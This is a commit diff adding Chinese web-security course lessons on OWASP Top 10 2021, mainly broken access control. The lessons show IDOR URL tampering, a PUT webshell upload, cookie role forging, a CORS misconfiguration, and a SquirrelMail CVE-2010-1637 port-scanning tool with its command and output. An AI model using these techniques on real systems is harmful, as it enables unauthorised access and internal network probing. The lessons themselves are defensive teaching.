first commit

This commit is contained in:
张乾
2024-10-16 06:37:41 +08:00
parent 633f45ea20
commit 206fad82a2
3590 changed files with 680090 additions and 0 deletions

View File

@ -0,0 +1,167 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
00 导读 解读OWASP Top10 2021
你好,我是王昊天。今天我们来聊一聊安全行业内“知名”清单的前世今生。
2021年全新的OWASP TOP 10列表发布相信只要是关注网络安全的同学不管你是刚刚踏入安全行业不久还是一名专业的渗透测试工程师对于这个消息都不会感到陌生。它作为安全行业内的“知名”清单不管是在系统开发还是渗透测试中一直都是Web安全领域的重点关注对象。
我们先来看下它的背景和定位,其重要性也就可见一斑了。
OWASP致力于帮助企业和机构开发、购买和维护安全可信的应用和API。他是一个非营利性的公益组织所有与之相关的产品像是工具、文档、视频和PPT都是免费开放给所有人的如果你感兴趣也可以在课后去深入了解。
而 OWASP TOP 10 就是这个组织创立的一个认知型的文档清单它帮助我们去了解在目前的技术趋势下Web业务系统中那些最常见、最高危的十类安全风险和漏洞。安全业内有许多人将OWASP TOP 10作为一种coding或测试的标准但也因为它只包含了最具影响力的十类安全风险所以在这些方面其实并不详实但它依旧可以作为一个好的起点帮助你走上Web安全的漫漫长路。
这节课我们就把重点聚焦在这份清单上看看2021年的这份新清单和2017发布的上一份清单相比都有哪些安全风险发生了变化以此进一步理解这些安全风险变化与技术发展之间的关系并通过这种方式加深你对OWASP TOP 10的认知。
2021年的OWASP TOP 10清单有哪些变化
我们先来看看这份最新发布的清单和上一份清单相比发生了哪些变化。这种变化从侧面反映了技术架构及安全趋势的演变,对于我们展望技术更新有很大帮助:
从上面这幅图中我们能看到,有些安全风险的排名有所下降:
曾经的安全风险之王“注入”已经从排位第一下滑到第三;
认证失败诱发的安全风险从第二下降到了第七。
这两类曾经风靡一时的安全风险排名都有了较大幅度地降低其原因主要有两个方面。一方面目前整个行业安全意识的提高大大降低了线上运营中业务系统存在高危安全风险的可能性这一点从行业服务趋势可以看出——大部分公司在Web业务系统上线之前都会经过详细的渗透测试而这个流程在几年之前还没有这么普遍另一方面就是第三方安全和认证组件的成熟降低了认证失败的安全风险。
我们再来看看有哪些排名上升的安全风险:
敏感信息泄露以新的风险形式——加密失败出现上升到第二位;
失效的访问控制上升到第一位;
安全误配置从第六位微弱上升到第五位;
存在安全缺陷的以及过时的组件从第九位上升到第六位;
日志记录及监控不足从第十位上升到第九位。
这里值得我们展开探讨的是上升幅度较大的三类风险——加密失败、失效的访问控制以及存在安全缺陷的组件这三类风险从一个侧面显示了目前Web安全开发及测试过程中需要重点关注的风险种类
加密失败及失效的访问控制,这两类安全风险的共性都是非代码层技术性漏洞,无论是使用了不当的编码加密,还是业务逻辑分割不严密,都是传统安全领域扫描器难以发现的风险种类;
存在缺陷的安全组件则是在目前技术多元化趋势下,一个必然出现的安全风险种类。
最后再来看看那些新增的安全风险:
首先是不安全的设计。与上升的安全风险原因相似,随着自动化安全检测技术的提高,业务系统在设计中自身存在的问题开始更多地成为热点风险;
另外两种新进入TOP 10的风险分别是软件及数据完整性故障和服务端请求伪造。以软件完整性故障来说它反映了目前一类成长非常迅速的新形态威胁——供应链污染这种从上游组件开始污染最终影响到终端客户的攻击近些年取得了很大程度的发展。
这10项安全风险分别是什么
接下来我们展开谈一谈十大安全风险,方便你对其中的每一项安全风险有个宏观的认知。而对于每项安全风险更加具体地介绍,如出现的原因、应用的场景以及相应的编码防护手段,我会在后续课程中详细展开。
A012021-失效的访问控制
访问控制存在的意义主要是设定了一种边界,使得用户并不能获得在边界之外进行操作的权限。当访问控制失效,通常会导致非授权信息的泄露、越权修改及破坏数据、执行权限外的操作等后果。
A022021-加密失败
这项风险在2017年的清单中以“敏感信息泄露”的形式存在它更多的是一种常见的风险信号而不是直接导致安全事件发生的根源。因此我们更多的关注点应该放在密码学的失败调用这些方面。在实际的工作场景下这类失败的调用往往会伴随着数据泄露事件一起发生而这种结果的出现是谁都不愿看到的。
A032021-注入
这项风险在2017年的清单中高居榜首通常注入问题都以SQL、NoSQLayer、命令注入等形式存在。注入在几年前确实极具威慑性然而随着自动化检测技术的发展企业和机构往往在开发过程中就引入一系列安全工具来增强安全属性比如在CI/CD中引入SAST以及DAST工具这就大大降低了出现这类风险的概率这也是这两年大热的DevSecOps的理念。
A042021-不安全的设计
这是2021年新引入的一项安全风险主要关注设计和业务流程上的风险。事实上不安全的设计是一个比较宽泛的话题可能存在于很多风险之中。这里我们指的是在产品设计过程中通过安全规范的设计以及威胁建模等流程那些能被我们检测和规避的安全威胁种类。
A052021-安全误配置
与2017年清单相比可以看到这项安全风险的排位有了些许的提升也许你会觉得从第六名上升到第五名变化不大但是就像我刚刚讲的——“一叶知秋”有时候这种微小的变化却体现了宏观的技术发展趋势。随着技术架构向高度“可配置化”软件的迁移这种风险类别的排位上升倒是并不令人惊讶。
A062021-易受攻击和过时的组件
随着技术的蓬勃发展大部分产品都会不同程度的依赖各种第三方组件随着系统复杂度的提升和规模的扩大也会出现组件更新不及时的情况。这些风险可能涉及的资产包括OS、Web中间件、DBMS、API、库等从这个角度你就可以发现随着企业规模的扩大在攻击者眼中的攻击点有多么广泛。
A072021-识别和认证失败
确认用户的身份、认证过程以及Session管理是预防认证相关风险的关键点简单来说这一风险类别可能面临的攻击包括暴力破解、密码喷洒、弱口令、Session管理不当等诸多问题。后续我会详细和你展开讲一讲其中的奥秘所以现在不要急我们先将剩余的几个风险看完。
A082021-软件和数据完整性故障
作为新出现的一类安全威胁这一分类主要关注于软件更新、关键数据以及“CI/CD”流水线的完整性校验。用比较直白的语言来说现在大多数应用都不同程度依赖于外部的插件、库、模块以及第三方源所有这些外部风险都可以通过一次不安全的“CI/CD”流水线直接引入到应用中更进一步应用的自动更新策略已经广泛普及但是关于更新内容的完整性检测却没有跟上这就导致软件更新可能直接引入安全风险。
A092021-安全日志记录及监控失败
这一分类主要目的是提供更多信息并且帮助我们去发现、评估及响应出现的入侵事件。为了达到这个目的完善的安全日志记录以及持续的监控服务就显得尤为重要。虽然说起来简单但是如何记录不同的事件及API活动记录、管理日志文件该如何存储和维护这些都是需要我们考虑的问题。
A102021-服务端请求伪造
现代Web应用普遍为终端用户提供了更多便捷的功能这其中就包括获取一个目标的URL资源的功能也正因为如此SSRF成为了一种快速攀升的威胁种类。一旦这类风险发生尽管这些内网系统可能被保护在防火墙或者VPN之后却很有可能会威胁到Web业务系统后端的内网系统。
如何将OWASP TOP 10应用到一个安全项目中
既然你已经了解了OWASP TOP 10那么我们就要看一看如何将OWASP TOP 10应用到一个安全项目中。虽然OWASP TOP 10的设计初衷并非一个安全项目的检查清单但是这并不妨碍它成为一个好的安全基线。
第一步,认清安全项目的差距和目标。
在启动一个安全项目前,第一步是评估当前我们所处的位置,准确地识别在管理、设计、实现、验证这些过程中,哪些是立即需要去解决的问题而非可以等待的问题。
具有丰富经验的CSO们都有一个深刻的认知即安全建设是个无底洞攻防一直是道高一尺魔高一丈的循环。因此在企业发展过程中如何准确地评估当前安全事务的优先级并且利用有效资源进行针对性的防御才是衡量安全技术水平的试剑石。
第二步,为安全开发生命周期做好计划。
“安全开发生命周期”被业内认为是最简单也是最有效的安全方案,这种措施可以在安全团队与开发团队之间构建紧密的合作关系,当然如果本身就是同一个团队的话就更好了。这项计划目的是可以持续地提高、检测、以及替换不安全的组件。虽然这项计划在构建之初看起来需要大量的投入,但它却可以使我们在实际操作中快速启动一个原型,然后随着开发节奏的推进不断集成新的安全工具。
从经验角度来说,在产品或者项目落地之初就引入安全建设方案,往往是最佳选择。正所谓“好的开始是成功的一半”,这样的操作一方面可以培养开发团队的良好编码习惯,另一方面可以在不断迭代中强化安全能力,不会在某一个阶段突然出现大笔的安全开销。
第三步,与开发团队一起实现安全开发过程。
为了保证安全开发过程的顺利进行,我们需要在开发前期获得开发团队的认可,过程中确保他们持续性的参与,开发过程之后让他们更安全快速地交付更多应用。目前我们所期待的安全开发过程应该是覆盖整个企业以及应用安全生态的,而非像过去一样采用单点或者单应用模式。
这里要注意应该将安全能力融入到开发过程当中,而非作为单一测试过程独立存在。
第四步,将过去和未来的应用迁移到当前的安全开发过程中。
当新的安全检测能力集成到安全开发过程后我们应该通过持续集成CI来检测历史代码中是否存在不安全的使用并通过警告或者拒绝构建的方式来督促改进。通过这样的方式不仅可以有效防止安全隐患悄悄潜入应用中也可以减轻未来的安全成本。
从最佳实践角度来说,我们一般还应该为警告或者拒绝构建的原因增加一项链接,使得直接开发人员可以快速找到安全合理的解决方案。
第五步确保安全开发过程已经集成了OWASP TOP 10。
讲了这么多终于到最重要的部分了——在实现安全开发过程中我们究竟需要集成和使用哪些安全能力呢这里我们要从最重点的安全问题着手而OWASP TOP 10就给我们了一个很好的参考比如我们可以
自动检测以及修复有安全隐患的组件;
自动检测代码是否存在注入隐患或者推荐一个更加安全高效的lib来预防注入问题的发生…
随着更多安全组件的引入,我们将可以更加高效且安全地开发应用,而安全团队的一项重要的任务就是保证这些安全组件的持续更新和有效性。
第六步,构建一个成熟的安全检测体系。
虽然OWASP TOP 10是非常重要的但想要构建一个成熟的安全检测体系可不能仅仅止步于此。安全的有效性往往取决于安全建设的最短板因此我们需要不断去覆盖更多的安全风险点。我们要做的首先是从OWASP TOP 10入手将主流安全风险降到最低然后开枝散叶引入更丰富的安全体系包括OWASP TOP 10不包含的安全风险以及更丰富的自动化检测手段如DAST等这样才能构建成熟的安全检测框架。
总结
这节课我带你学习了2021新发布的OWASP TOP 10清单。你首先了解了这份清单的背景与定位它在安全领域举足轻重是安全领域的“风向标”。
接着将它与2017年的版本做了对比找出了那些下降的、上升的和新增的风险通过对比我们了解到安全风险随着新技术的发展不断变化由此分析出加密失败、失效的访问控制和存在安全缺陷的组件是我们需要重点关注的安全风险随后明确了新清单所包含的内容即对10项风险的大致介绍我将它们总结成一张图片放在文章结尾提供给你参考。
最后我们通过具体的步骤将知识点回归到实际的工作当中学习了该如何通过六个步骤将OWASP TOP 10应用到一个安全项目中首先我们要找好定位排好优先级制定好安全开发的生命周期其次要和开发团队打好配合将未来和过去的应用迁移过来在对OWASP TOP 10这些主要的安全问题作出排查之后最后就是要增补细枝末节的安全问题逐步完善安全检测体系。
在以后的学习、工作和交流中相信对于OWASP TOP 10清单的深刻理解可以给你提供更多的帮助。尤其要注意的是无论学习了多少深层知识如何将知识简化并且让知识在工作中产生价值才是最重要的。因此我们也探讨了如何以OWASP TOP 10为起点开始安全开发过程。当然这些内容我希望都是抛砖引玉目的是激发你更多思考和学习热情帮助你成为一名优雅的开发工程师或者专业的黑客高手。
思考题
Q这节课我们一直在探讨TOP 10那么你能否找到一些未被列入TOP 10的安全风险种类呢
期待你的思考,也欢迎你在留言中与我交流,或者转发给你的朋友加入讨论。我们下节课再见!

View File

@ -0,0 +1,87 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
00 开篇词 从黑客的视角找漏洞从安全的角度优雅coding
你好我是王昊天欢迎你加入我的专栏跟我一起开启Web安全的进阶修炼之路。
先来介绍一下我自己。作为螣龙安科的创始人我目前带领我的团队从事AI攻防对抗的研究工作。螣龙安科从2020年5月初创在刚刚过去的11月份完成了新一轮千万级的融资。同时我也是《Web 安全攻防实战》视频课的作者。学过视频课的同学,对我就很熟悉了,恭喜你,你已经为这次的实战专栏打下了很好的知识基础;但没学过视频课的同学也不用担心,这门课的门槛只需要你有最基本的代码基础,我会手把手带你实现漏洞挖掘。
我的研究方向主要在Web 安全、移动安全、内网渗透、复杂环境APT对抗、网络安全工具开发、机器学习与攻防对抗结合等领域。现在正在准备一个为安全人员赋能的AI攻防产品很快会推出社区版帮助安全方向的同学们更好地积累知识、更高效地工作以及更智能地攻防。
从业十年这套AI攻防产品一直是我的愿望这是一条前沿技术的探索之路。在这个过程中我遇到了很多跨学科技术问题不断探索和抽象安全的本质再尝试用机器语言去描述和复原。在不断地尝试和思考中我总结了许多Web漏洞挖掘和漏洞出现原因的方法经验非常希望能在这个专栏与你一起分享和交流
攻防对抗的未来
我在早期工作的时候对安全攻防是纯粹的热爱但是有一个问题让我困惑了很久如果走技术路线如何让职业天花板进一步提高日常工作中虽然攻防领域涉及的知识面众多但几年的时间已经足够对操作系统、网络协议、应用安全、Web渗透等攻防知识有所掌握再想成长就有一种无法前进的感觉。
在困惑与思考的过程中,我也向许多朋友及前辈请教,终于发现站在更顶层的视角,更容易看清安全人员的成长之路。在攻击与防御的交互式对抗中,一直有一颗核心闪耀在对抗中央——漏洞。
如果把攻防对抗比作一场战争Web渗透、后门技术、横向移动、隧道搭建、权限提升等技术就像摆兵布阵用战术优势不断攻城略地那么漏洞在攻防中的作用就像核武器这是一种在硬件装备上的降维打击。
在Web领域使用框架级漏洞或是主动漏洞挖掘完成Web Server的控制、在渗透测试中使用边界设备RCE进入内网、在鱼叉式钓鱼攻击中通过浏览器漏洞植入后门、在内网中使用永恒之蓝进行横向移动、在服务器通过提权漏洞获取Administrator权限你会发现在渗透测试之路走到尽头的时候所有路标都指向了一座新的高山——漏洞挖掘。
漏洞挖掘思维
无论你是一名安全工程师,还是一名开发工程师,掌握漏洞挖掘思维以及漏洞利用原理都是非常有帮助的。
我见过的很多技术大牛,他们在自身的技术领域都非常专业,虽然他们可能并没有系统性地学习过安全知识,但是他们仍然能够写出非常安全优雅的代码,对系统可能出现的风险也了然于心,这是从业多年的积淀。我们常说,真正的黑客都是编程大牛,也是一样的道理。
当我们在开发一个系统的时候其实会遇到很多潜在的安全隐患。以Web应用为例前端可能会存在XSS、后端可能会发生注入、用户可能会遭遇CSRF、算法上可能发生弱加密、证书验证上可能遭遇中间人攻击那么为什么平时开发中我们通常没有考虑到这些种种情况呢因为我们开发中使用的底层语言、应用框架、技术架构都从不同层面帮我们解决了这些问题这些解决方案的背后是语言开发工程师、框架开发工程师、开源工程师和公司架构师的共同努力站在巨人的肩膀上前行使得我们不需要掌握庞大的知识体系。
未来你是不是也希望成为这些大牛的一员,写出简洁、优雅、安全的代码呢?我猜你是愿意的。
可能现在你并不具备大牛十年如一日的开发经验,也还没经历过重大的漏洞和安全事件,但这并不妨碍你掌握优雅安全编码的能力以及掌握一线实战漏洞挖掘的能力,这些大牛从时间沉淀中积累的宝贵经验正是在这个专栏中我想和你分享的。
漏洞挖掘很难,我能学得会吗?
即使大学时期是网络安全专业的同学,很可能也没有过一线的漏洞挖掘和漏洞修复经验,其实这是安全行业很特殊的一点。这几年来,安全行业高速发展,各类安全知识开始全面爆发,接触安全的同学越来越多,但是缺乏实战经验成为学习者进一步提高技术能力的瓶颈。网络安全作为一门工程学科,需要的不仅是扎实的理论基础,实战经历同样不可或缺。
通过学习渗透测试相关的知识,我们可以到一些靶场环境进行学习和测试,但漏洞挖掘和分析就没这么简单了。首先靶场环境普遍围绕基础漏洞构建,涉及高端复杂漏洞领域的不多,这就增加了实际体验漏洞的难度;其次漏洞挖掘和分析需要的往往不是单一知识点,可能会涉及多个知识体系内的多个点,这就导致我们很容易在跟踪一个漏洞过程中不断深入延展,最后丧失清晰的学习边界,越学越不懂;最后就是心态,安全是勇敢者的游戏,因为你的对手方是未知的,通过不断的学习和积累我们可以强化自身能力,通过自身强大的确定性来与对手方的不确定性博弈,这也是漏洞挖掘最难的一关。
经过这几年在漏洞领域的持续学习和分析我积累了大量漏洞分析的方法和安全开发方案再回头看自己一步一步从Web渗透走来更加深刻地理解了安全行业的同学们成长过程中的障碍。
漏洞挖掘与安全开发需要大量的知识储备,但是现在大多的课程、学习资料,往往都是着眼于某一个知识点去解读,分析的重点往往是漏洞的成因和利用方式。但是对于含金量最高的地方——漏洞挖掘过程以及思考方式,却没有仔细分解。这就使得我们在学习的过程中,只收获了一个漏洞的利用方式,但是面对主动漏洞挖掘场景以及安全开发时无能为力。
俗话说“授人以鱼不如授人以渔”,但是小孩子才做选择,成年人是我全都要。
所以这个专栏我将“授人以鱼和渔”一方面我会带你遨游2021年十大Web领域安全风险每一类风险都有近年来新鲜美味的漏洞供你品尝体验另一方面我会从漏洞挖掘的视角逐一带你经历每一种安全风险的漏洞挖掘过程让你掌握如雷达一般的潜在安全漏洞感知能力。关于知识点和学习过程你也不用担心每一个小主题我都会通过生动形象的故事让你快速理解知识点的本质然后再展开深入探讨。
我们的课程怎么安排?
正好2021年OWASP发布了新的Web领域TOP 10风险种类那我们本着学习效果最大化的角度就从这个清单开始。
首先我会用一讲的时间带领你整体地了解OWASP TOP的背景以及2021与2017年发生了哪些变化这种宏观的顶层视角可以帮助我们建立一个与技术发展趋势相关的产业级认知对我们的技术学习方向与未来职业选择都非常有帮助。
然后,开始学习几大主流风险种类,分别是失效的访问控制、加密失败、注入、不安全的设计以及安全配置错误,我们会深入每一个风险种类进行详细展开。
接着,对于剩下的安全风险类别,我们会在安全风险串讲带你逐一深入。
在学完所有这些漏洞的挖掘思想之后,我们会将他们融合在一起,在最后几讲带你构建自己的前沿漏洞挖掘与智能攻防系统。
我们的课程就是按照上述逻辑依次为你讲解最新的Web领域十大风险种类的漏洞挖掘过程及安全开发细节。每节课都配有近几年的新鲜漏洞、PoC或者Exp代码以及搭建好的漏洞环境让你能够跟着课程从体验、到使用、到挖掘、再到修复完成整个漏洞链条的学习。在课程的最后你也可以使用我构建好的平台来打造属于自己的个性化漏洞挖掘&智能攻防系统。
你能获得什么?
通过这个富有趣味性和知识深度的专栏如果你能够坚持学习完毕肯定可以得到这些收获掌握Web安全领域漏洞挖掘的思维方式收获对Web安全更深入的理解以及一个属于自己的个性化智能攻防对抗系统。
我绘制了一幅简化的OWASP TOP 10风险种类知识体系图这也包含了后面课程涉及到的所有知识点。尽管图中是一些简单的安全术语随着你的学习历程你会发现每一个安全术语背后都是设计精巧、精彩纷呈的计算机学科知识。
由于复合型安全人才是近些年来的稀缺性,如今,任何一家中大型互联网或者相关产业公司都非常重视信息安全建设。安全相关的知识体系,会成为你涨薪和晋升的黑马加分项。无论是对于公司内部业务群的安全建议,还是对你正着手开发的业务系统进行安全架构的提升,都可以让你从团队中脱颖而出。在这样的背景下,这个专栏给你职业生涯带来的成长你甚至在短期内就能明显感受到。
从长期看来通过这门课的学习你会明显提升对于可能存在漏洞的代码或者业务的感知力并且可以学会如何进行安全的代码开发以及构建安全的Web应用。我相信这对你提升技术理解力以及拓展技术深度和广度是大有裨益的。之后再进行某些功能开发时就可以很容易具备安全架构师级别的视角和相应解决问题的思维。
摆脱“庸俗”的“面向薪资编程”相信你对于热爱的coding事业仍满怀初心。学习安全正是不断深入代码本质掌握全局视角的过程。作为一个工程师相信我们对于自己的事业都充满热爱与好奇那么不妨让安全成为我们敲开新世界大门的那块砖。
不知道你在学习安全的道路上有什么有趣的小故事呢?你对安全又有怎样的理解呢?欢迎你在评论区留下你的答案。下节课我们就正式开启正文部分的学习。

View File

@ -0,0 +1,281 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
01 失效的访问控制:攻击者如何获取其他用户信息?
你好,我是王昊天。
英文里有一句谚语你一定听说过“Curiosity killed the cat”翻译成中文是“好奇害死猫”。这句话是想告诉人们不要为那些不必要的尝试去冒不可预知的风险提醒人们不要过分好奇否则会给自己带来伤害。但是在网络安全和编程领域这句话却并不正确因为正是对未知的好奇与探索我们才能深入底层原理写出更优雅的代码构建出更安全的系统。
要知道,当处于对某种事物的属性出现认知空白时,动物往往想要弥补这份空白,是一种的非常本能心理,好奇心也由此产生。可以想象这样一个场景:当你构建了一个崭新的系统出现在用户面前,如果他们对这个系统充满了探索欲,那么这对于你来说无疑是非常愉快的体验。但是作为系统的构建者,你一定希望用户按照预先设定的规则、在预先搭建好的框架下开始他的旅程。而现实往往并非如此……
某个脾气暴躁的用户由于没有耐心直接通过URL跳过了认证界面
某个健忘的用户由于记不住密码,通过找回登入了别人的账户;
某个好奇的用户由于想玩一下API意外访问到了其他人的信息
某个专业的黑客由于心怀不轨,获取了你的管理员账户……
你会发现,如果一个系统不存在有效的访问控制,那么这个系统一旦向用户开放使用,你将面临一场“灾难”。
访问控制
那么什么是访问控制呢?访问控制是一种策略,在这种策略的控制下,用户的操作不能逾越预设好的权限边界。而访问控制一旦失效通常会导致未认证信息泄露、内部数据篡改、数据删除和越权操作等后果。访问控制失效型问题通常有以下几种类型:
系统在实现过程中违背了“最小权限原则” 或 “默认拒绝原则”,在这种情况下用户可以获得一些特殊权限,而这些特殊权限原本只应该授权给特定的用户或角色;
通过修改URL地址、内部程序状态、HTML页面或者使用Cyber工具修改API请求的方式绕过访问控制
通过提供唯一ID的方式预览或者修改其他账户信息及数据
未经过访问控制地通过POST、PUT和DELETE方法访问API
通常意义上的提权,比如未登录状态下的用户操作,或者常规用户登录状态下的管理员操作;
元数据操纵比如重放或者修改JWTJSON Web Token访问控制令牌或者通过操纵Cookie的方式进行提权
CORS误配置可以导致来自未认证源的API访问。
这里我们首先来看几种简单攻击场景。
这个应用在SQL调用中直接使用了未经验证的数据并利用该数据进行信息查询
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
对于一个攻击者而言只需要简单地在浏览器地址栏中修改acct参数即可对SQL语句进行操纵而在未经验证的情况下该攻击者可以访问到其他账户的信息。
https://example.com/app/accountInfo?acct=notmyacct
一个攻击者可以很轻松地修改URL地址尝试去访问他的目标链接比如这里攻击者试图通过URL地址修改直接访问admin页面
https://example.com/app/getappInfo
https://example.com/app/admin_getappInfo
如果攻击者成功访问了第二个链接,那么说明系统在权限设计和访问控制上就是存在问题的。
由于实现过程中未对用户访问参数设置边界,导致了很多越权问题的发生:
https://example.com/order/?order_id=2021102617429999
攻击者可以尝试修改上述API接口中的order_id参数使其在程序接口上的输入合法但是对于用户而言却是越权行为。
HTTP PUT方法最早目的用于文件管理操作可以对网站服务器中的文件实现更改删除的更新操作该方法往往可以导致各种文件上传漏洞造成严重的网站攻击事件
put /root/Desktop/shell.php
上述代码在支持PUT方法的环境中上传Webshell进行提权在实际运用中若必须启用该方法则需要对该方法涉及文件资源做好严格的访问权限控制。
Web应用将身份认证结果直接存储在Cookie中并未施加额外的保护措施
Cookie: role=user --> Cookie: role=admin
通过在Web前端拦截Cookie并进行Cookie内容修改即可提权。
有些开发者为了方便直接在Access-Control-Allow-Origin中反射请求的Origin值
add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;
这是一个错误的Nginx配置示例这样的配置意味着信任任何网站攻击者网站可以直接跨域读取其资源内容窃取隐私数据。
案例实战
通过刚才几个简单的场景,相信你对访问控制已经有了一个初步的认知。接下来我们再来看一个更为复杂的攻击场景。
意外的代理访问
如果一个应用从输入流组件接受到了外部的请求、消息或者命令,并且这些请求、消息或者命令没有经过有效的请求源处理就被转发到应用控制范围外的某个资产中,这时就会诱发一种访问控制失效风险。
想象一下,当你还在读书的时候,在学校里同学给了你一份蛋糕,希望你回家后可以转送给你的妹妹,而你到家之后由于疏忽直接把蛋糕给了妹妹并且没有任何说明,这时妹妹会以为这份蛋糕是你买给她的礼物,这就造成了一种误解。
回到我们所描述的技术场景,这个应用就是“你”的身份,而请求被转发的目标资产就是“你的妹妹”,这个应用此时成为了一种代理或者中间人的角色,使得不应该被访问到的资产被意外访问到了。
再稍微拓展开讲一讲,如果一个攻击者不能直接访问目标,但是一个应用可以,这时攻击者可以发送请求到应用,再让应用转发请求到最终目标。这种情况下,攻击请求看起来像是来自应用的访问,而非真实攻击者。这种攻击的效果很直观,可以直接绕过访问控制(如防火墙)或者隐蔽恶意请求源信息。
我们不仅需要知道这种风险的威力,还需要了解这种风险在什么情况下会出现。由于类似的消息转发或者代理功能大部分情况下都是正常功能,因此我们不能因噎废食,仅仅是因为有可能存在安全风险就抛弃正常功能。这就需要我们去了解,在什么情况下这种功能会变成一种漏洞:
应用本身的权限和用户可以操纵的输入流组件所属的权限不同条件A
攻击者并不能够直接发送请求到最终目标资产条件B
攻击者能够创建一个可以被转发的请求,这个请求可能:
指向了未授权访问的域名、端口号、IP以及服务条件C
指向了被授权访问的服务但是请求内部包含了未授权的指令、资源等。条件D
用简单的公式来描述的话就是只有在“A && B && ( C || D )”的情况下,消息转发或者代理功能才会成为一种安全风险或者安全漏洞。
CVE-2010-1637漏洞
接下来我们看一个非常有趣的漏洞它的编号是CVE-2010-1637。这个漏洞会影响SquirrelMail 1.4.20以及更早的版本漏洞主要的发生点是Mail Fetch组件由于该组件是SquirrelMail的默认组件因此该漏洞影响力还是很大的。如果该漏洞存在那么经过认证的远程用户就可以得到允许绕过防火墙限制将SquirrelMail作为一个代理proxy进一步扫描内网。
mail_fetch是在SquirrelMail 1.4.20版本的一个默认组件:
hunter@HunterdeiMac > ~/Downloads/squirrelmail-1.4.20/plugins > tree mail_fetch
mail_fetch
├── README
├── class.POP3.php
├── fetch.php
├── functions.php
├── index.php
├── options.php
└── setup.php
0 directories, 7 files
mail_fetch的主要功能是通过使用fsockopen()这个PHP函数来模拟POP3协议并且仅支持了POST方式的认证并没有对IP以及端口号进行检查
...
if (!isset($port) || !$port) {$port = 110;}
if(!empty($this->MAILSERVER))
$server = $this->MAILSERVER;
if(empty($server)){
$this->ERROR = "POP3 connect: " . _("No server specified");
unset($this->FP);
return false;
}
// 老师加的注释
// 此处缺乏对于服务器IP及端口号的检查
$fp = @fsockopen("$server", $port, $errno, $errstr);
if(!$fp) {
$this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
unset($this->FP);
return false;
}
...
经过简单的分析可以发现该代码段符合“A && B && ( C || D )”的漏洞存在条件,该处应该存在失效的访问控制。
找到了切入点接下来你就可以通过下面三个步骤实现汽车变成汽车人的精彩过程——将SquirrelMail变成Nmap扫描器
服务端先返回消息的Service比如SSH这种通过对TCP服务的Banner信息抓取可以了解目标资产提供的Service
客户端先发送消息的Service比如HTTP这种POP3对象在建立完TCP三次握手之后会进入阻塞状态通过fgets()函数设置硬编码超时时间,可以判断目标端口是否开放;
由于仅仅支持POST方式认证因此请求是以账户为前置条件去发送的所以Cookie也是需要的。
那么到现在为止,我们已经有了“汽车人”变形之后的完整功能设计图:
./squirrel-nmap [Target] [IP] [TCP_PORT] [Cookie]
- Target suqiremail的URL地址如http://target.com/sqm/
- IP 待扫描的IP地址
- TCP_PORT 尝试探测的TCP端口号
- Cookie 经过认证的Cookie
通过简单的实现,我们来看看实际的战斗威力如何:
./squirre-nmap "http://target.com/squirrelmail-1.4/" 192.168.1.4 22 "key=dTPc00s%3D;SQMSESSID=2600633c256570917fe25d7773eb41b3"
Fetching from 192.168.1.4:22
Oops, POP3 connect: Error [SSH-2.0-OpenSSH_5.1p1 Debian-3]
可以看到能够成功地对内网IP进行Service进行探测。
安全建设方案
通过这次探讨,你可以发现访问控制是授权或拒绝特定用户请求的过程。这个过程只有在应用开发的初始阶段就经过良好的设计,才能避免后续问题的发生。接下来我会提出一些优秀的访问控制设计原则,供你在实践中参考:
1. 优先开始设计访问控制体系-
访问控制不仅是应用安全设计的一项主要事务,而且应当被设置在非常优先的位置,因为往往访问控制的设计在起步阶段是相对简单的,但是会很快随着功能点的增多快速复杂化。所以,如果你考虑使用成熟的软件框架来完成访问控制,一定要确保其能够满足你未来的应用定制化需求。
2. 强制所有请求经过访问控制检查-
开发一个访问控制检查层Layer然后确保所有请求都在某种程度上经过这个检查层。以Java的filter为例许多自动化的请求处理机制都是能够帮助我们实现这种需求的技术形态。
3. 默认拒绝-
这是非常简单但是有效的策略,所谓默认拒绝是指,只要一个请求没有被指明是被允许的,那么它就是被拒绝的。
4. 不要硬编码角色-
很多应用框架默认使用用户角色来进行访问控制,以下的代码形态是很常见的:
if (user.hasRole("admin") || user.hasRole("Manager")) {
deleteAccount();
}
但是你要对这种Role-Based编码模式格外留意因为它可能会带来以下几种风险
由于这种编码自身的特性非常脆弱,很容易出现检查错误或者检查缺失等情况;
由于这种编码模型对于多租户产品非常不友好,很容易出现用户角色一致但是权限不一致的情况;
Role-Based编码模型无法适配包括以数据为核心的以及横向访问控制
当项目代码量攀升并且伴随着很多访问权限控制的情况出现时,访问控制策略的审计和验证是非常困难的。
因此这里我更推荐你使用这种编码方式:
if (user.hasAccess("DELETE_ACCOUNT")) {
deleteAccount();
}
以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。
5. 记录所有的访问控制类事件-
所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。
总结
这节课程我们学习了2021年OWASP TOP 10中排行第一的风险类别——失效的访问控制访问控制是安全建设的第一关也是最重要的一环 —— 它不仅和安全建设相关,更是产品功能的一个组成部分。
首先我们对访问控制的概念和范围进行了整体探讨,列举了一些典型的访问控制失效场景:
系统实现过程中违背最小权限原则;
修改API参数实现越权
提供唯一ID给用户预览数据
未对PUT、DELETE防范进行限制
元数据JWT、Cookie操纵
CORS误配置。
然后针对这些典型的访问控制失效场景,我们展示了对应的问题代码。
在漏洞挖掘过程中,作为安全或者开发人员,我们要先对待挖掘的漏洞有清晰的认知,对于一些稍复杂的逻辑漏洞最好能够进行清晰的数学描述。
这里我们以“意外的代理访问”类型漏洞为例抽象出了一个数学模型——“A && B && ( C || D )”用于该类漏洞的判断并利用模型成功分析了一个2010年真实发生的的0 Day漏洞。
在最后一部分,我们对访问控制层面的安全建设做了分析,并且给出了一些优秀的设计层、编码层的建议:
在系统构建阶段优先设计访问控制体系;
强制所有请求经过访问控制检查;
采用默认拒绝原则;
采取以权限为核心的编码原则;
记录所有访问控制类事件。
以我们所探讨的安全建设方案为基础,相信你可以进行优雅的编码并设计出优秀的访问控制系统,构建起你的应用安全的第一道防线。
思考题
除了这节课程我们提到的风险种类,访问控制失效你还能想到哪些风险类型呢?
期待你的思考,也欢迎你在留言中与我交流,或者转发给你的朋友加入讨论。我们下节课再见!

View File

@ -0,0 +1,256 @@
